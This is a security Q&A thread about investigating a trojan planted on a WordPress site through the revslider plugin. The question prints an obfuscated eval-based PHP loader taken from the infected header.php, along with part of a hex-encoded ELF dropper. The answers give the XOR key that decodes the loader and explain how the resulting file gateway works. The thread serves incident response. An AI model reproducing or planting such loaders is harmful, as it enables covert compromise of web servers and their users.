4

So recently our (VPS CentOS6.5) server began hosting a WP site that was, or became, infected (via revslider plugin) with some kind of trojan (probably spam sender, as we ended up on Spamhaus list very quickly)

The core (we think) is a nice little file called system.php http://pastebin.com/1Uyipejn

Which seems to be triggered by an infected WP header header.php http://pastebin.com/9m2cikpG

It managed to create 4 cron jobs, and we are very interested as to what it was doing. How can I find out?

Edit:
here is header.php

<?php for($o=0,$e='&\'()*+,-.:]^_`{|,,,|-((.(*,|)`)&(_(*,+)`(-(,+_(-(.(:(](^(_(`({)]+`+{+|,&-^-_(^)](](^(_(^(:(`(,-_(.-_(](:(,+_(-+_(--_(`(.(.+`+_(-(:(.(,+_(--^(.-_(:+{(]+{(:(:(^(`(,(,(,(.(:(:(:+{(,(_(:(_+_(-)](](,(:-_(,,&(_,&+_(-(`(:(.(,(.(.+_(-(.+`(,-_(.(`(](.(_-^(,)](:({(,(,(_(](.(](.-^(,(,(`(,(](:(.({(]-^+_(-(^+_(-(^(.(](,+`(`,&(:+{(.-^(_-_(`-_(]-^+_(-+{(:-^+_(--^(,(_(:(](,(_(`)](:,&(.(,+_(-+{+_(-+|(:(^(,(^(.+{+_(-({(,(^(^(,(_+_(-(_)](.(.(.(](,+_(-(,,&(^(`(`(^(]-^(,(.(,(.(:-_+_(-(^(_)](.(.(.(](,+_(-(,,&(:(^(,(^(.+{+_(-({(,(^(^(,(_+_(-(_)](:(^(.-^(,(_(_(](]+|(`(`(.(.+_(--^(,(.(:+{+_(-+`(`+_(-(:(`(:-_(,,&(,-_(.+{(,+_(-(:)](`+_(-(.+{(_+_(-(_+`+_(-)]+_(-(_(,(.(:(`(`)]+_(-,&(:+`+_(--^(.(.(`(_(,-^(:(`(](]+_(-,&+_(-)](^({(:-_+_(--_(:,&(,)](:-^(:-_(,(](.+{+_(-(_(,+`(:(](:(_(:(,(,-_(`+{(]-^(.(`(`-_+_(-(,(,(^(^-^+_(-(`(,+`(:(_(:+|+_(-({(`+{(],&(,(.(,(.(:-_+_(-(^+_(-)](](:(](^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,*)`*&,*,+,)-(-:-&-*(.(*,*(_(*,^(:)^,+-,,\',_(.(*,*(:)^',$d='';@ord($e[$o]);$o++){if($o<16){$h[$e[$o]]=$o;}else{$d.=@chr(($h[$e[$o]]<<4)+($h[$e[++$o]]));}}eval($d); ?>  

and here is a portion of the commands & encoding used in system.php
(too large to post here in full, see the pastebin)

@system("killall -9 ".basename("/usr/bin/host"));
$so32 = "\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x03\x00\x01\x00\x00\x00\x20\x0d\x00\x00\x34\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x34\x00\x20\x00\x03  

Does anybody recognize the encoding type, so I may decode and investigate further myself?

Edit 2:
worked out that system.php uses hex encoding (decoded http://pastebin.com/UtKLMN85)
TL;DR it's an ELF - is there a way to find out what it does, beside running it on a test box?

  • 3
    You should definitely take the server offline if you haven't already. – Neil Smithline Sep 1 '15 at 0:22
  • the infection has been cleaned, and offending processes terminated - everything seems to be running normally again. Still very interested as to what they were doing with the cronjobs (probably just spam botnet stuff, but need to be sure) – RozzA Sep 1 '15 at 0:43
  • 4
    You didn't wipe the computer? I think that is the standard response after such infections. – Neil Smithline Sep 1 '15 at 0:44
  • it's a VPS that is hosting dozens of production sites, "wiping the computer" doesn't cut it just yet.. – RozzA Sep 1 '15 at 0:46
  • This is definitely a justification you can take to the relevant parties about only hosting at most one production site per VPS. – Nic Barker Sep 1 '15 at 2:46
4

I think you're the proud owner of a "libworker.so" backdoor! Malware Must Die has a good analysis of it, read that before running it yourself. The Malware Must Die author isn't a native english speaker, but does disclose a ton of detail.

Malware Must Die has the PHP "dropper" code getting downloaded via a copy of "Web Shell by oRb", so you're going to need to go over the hacked WordPress site with a fine-tooth comb. I'd grep for "eval(" in every file as a start.

The 2nd paste (header.php) looks like maybe a gateway program. There's a couple of levels of obfuscation hiding a program that includes an encrypted chunk of code, and a decryption program that bitwise-exclusive-ors the key against the encrypted chunk, and then eval's the decrypted code. Since the header.php file is carrying the encrypted code, and the key string comes in on an HTTP request, that code probably contains a hostname or IP address or something that would let you trace the source. I'll hazard a guess that the encrypted code is some kind of file gateway. That is, someone calls your web server with the header.php URL, and a special cookie, or some GET or POST parameters, along with a file name. The decrypted code fetches the file from somewhere, and passes it on to the header.php caller. That's just a guess, however.

You might be able to recover the encryption key if someone called header.php as an HTTP GET, with a key=blahblah parameter. Might be worth a look in access_log to be sure.

UPDATE:

The header.php encrypted text can be recovered with a key string of "SjJVkE6rkRYj", 12 ACII letters, no quotes. I finally recognized the decrypter routine, and googled for that. Hacker News has a nice explanation of how to get an Xor encryption key string. There's an even older Hacker News comment string about the same key/script, and that leads to a paste of the same code I get when I decrypt your header.php encrypted text. It's the "superfetch" PHP malware, and while it is a file gateway, as I predicted above, it doesn't contain IP addresses or host names. Instead, the gateway code uses a URL that arrives in a GET or POST with the parameter named "SjJVkE6rkRYj", or in a cookie that has the same parameter. That's clever, but only obscured, not secured.

  • that post from MMD is huge, and a long way down I found exact copies of the files we had in the WP site - TL:DR if you have a .sd0 file, you're infected. – RozzA Sep 10 '15 at 10:18
1

Have you looked in /var/spool/cron and /etc/crontab or any other CRON subdirectory inside of /var or /etc? Perhaps you could see any cron jobs scheduled here.

If you've already determined the ELF file was part of the infection, to answer the last part of your question, I would only run it in a sandboxed environment if you want to get a true view of what it does. Hope this helps.

  • yes, we deleted the crons immediately – RozzA Sep 10 '15 at 9:44
-1

The shellcode's encoding is basic hex referencing. The ELF is likely related to the Ramnit botnet.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.